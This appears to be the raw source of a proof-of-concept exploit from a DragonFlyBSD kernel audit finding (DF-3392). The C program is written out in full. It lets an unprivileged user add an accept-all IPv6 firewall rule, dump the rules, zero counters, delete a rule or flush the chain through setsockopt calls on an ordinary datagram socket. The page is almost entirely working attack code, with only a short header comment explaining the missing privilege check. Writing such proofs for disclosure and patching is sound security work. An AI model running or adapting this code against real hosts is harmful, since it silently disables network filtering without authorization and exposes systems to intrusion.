⬢ DragonFlyBSD Kernel Audit
DF-3392 / ip6fw_ctl.c
← back to finding ↓ download raw
/*
 * DF-3392 PoC: unprivileged IPv6 firewall (ip6fw) rule manipulation
 * via setsockopt(IPPROTO_IPV6, IPV6_FW_{ADD,GET,ZERO,DEL,FLUSH}) on a
 * plain datagram socket -- no privilege check anywhere on the path:
 *   udp6 protosw pr_ctloutput = ip6_ctloutput_dispatch  (in6_proto.c:142)
 *   -> ip6_ctloutput() IPV6_FW_* cases                  (ip6_output.c:1534/1760)
 *   -> ip6_fw_ctl() gated only by securelevel > 2       (ip6_fw.c:1119)
 *
 * usage: ip6fw_ctl add|get|zero|del|flush
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/queue.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "ip6_fw.h"

static void
dump_rules(int fd)
{
	struct ip6_fw buf[512];
	socklen_t len = sizeof(buf);
	int i, n;

	if (getsockopt(fd, IPPROTO_IPV6, IPV6_FW_GET, buf, &len) < 0) {
		warn("IPV6_FW_GET failed");
		return;
	}
	n = len / sizeof(struct ip6_fw);
	printf("IPV6_FW_GET ok: %d rules, %lu bytes\n", n, (unsigned long)len);
	for (i = 0; i < n && i < 8; i++)
		printf("  rule #%u flags=0x%x prot=%d pcnt=%lu\n",
		    buf[i].fw_number, buf[i].fw_flg, buf[i].fw_prot,
		    (unsigned long)buf[i].fw_pcnt);
}

int
main(int argc, char **argv)
{
	struct ip6_fw rule;
	int fd, error = 0;

	if (argc < 2)
		errx(1, "usage: %s add|get|zero|del|flush", argv[0]);

	fd = socket(AF_INET6, SOCK_DGRAM, 0);
	if (fd < 0)
		err(1, "socket(AF_INET6, SOCK_DGRAM)");

	if (strcmp(argv[1], "add") == 0) {
		memset(&rule, 0, sizeof(rule));
		rule.fw_number = 1;			/* before default 65535 */
		rule.fw_flg = IPV6_FW_F_IN | IPV6_FW_F_OUT |
		    IPV6_FW_F_ACCEPT;
		rule.fw_prot = IPPROTO_IPV6;		/* wildcard protocol */
		error = setsockopt(fd, IPPROTO_IPV6, IPV6_FW_ADD,
		    &rule, sizeof(rule));
		if (error < 0)
			warn("IPV6_FW_ADD failed");
		else
			printf("IPV6_FW_ADD: ACCEPT-any rule #1 added, "
			    "uid=%d, ret=0\n", getuid());
	} else if (strcmp(argv[1], "get") == 0) {
		dump_rules(fd);
	} else if (strcmp(argv[1], "zero") == 0) {
		error = setsockopt(fd, IPPROTO_IPV6, IPV6_FW_ZERO,
		    (void *)NULL, 0);
		if (error < 0)
			warn("IPV6_FW_ZERO failed");
		else
			printf("IPV6_FW_ZERO: counters cleared, ret=0\n");
	} else if (strcmp(argv[1], "del") == 0) {
		struct ip6_fw d;
		memset(&d, 0, sizeof(d));
		d.fw_number = 1;
		error = setsockopt(fd, IPPROTO_IPV6, IPV6_FW_DEL,
		    &d, sizeof(d));
		if (error < 0)
			warn("IPV6_FW_DEL failed");
		else
			printf("IPV6_FW_DEL: rule #1 deleted, ret=0\n");
	} else if (strcmp(argv[1], "flush") == 0) {
		error = setsockopt(fd, IPPROTO_IPV6, IPV6_FW_FLUSH,
		    (void *)NULL, 0);
		if (error < 0)
			warn("IPV6_FW_FLUSH failed");
		else
			printf("IPV6_FW_FLUSH: chain flushed (default kept), "
			    "ret=0\n");
	}
	close(fd);
	return (error ? 1 : 0);
}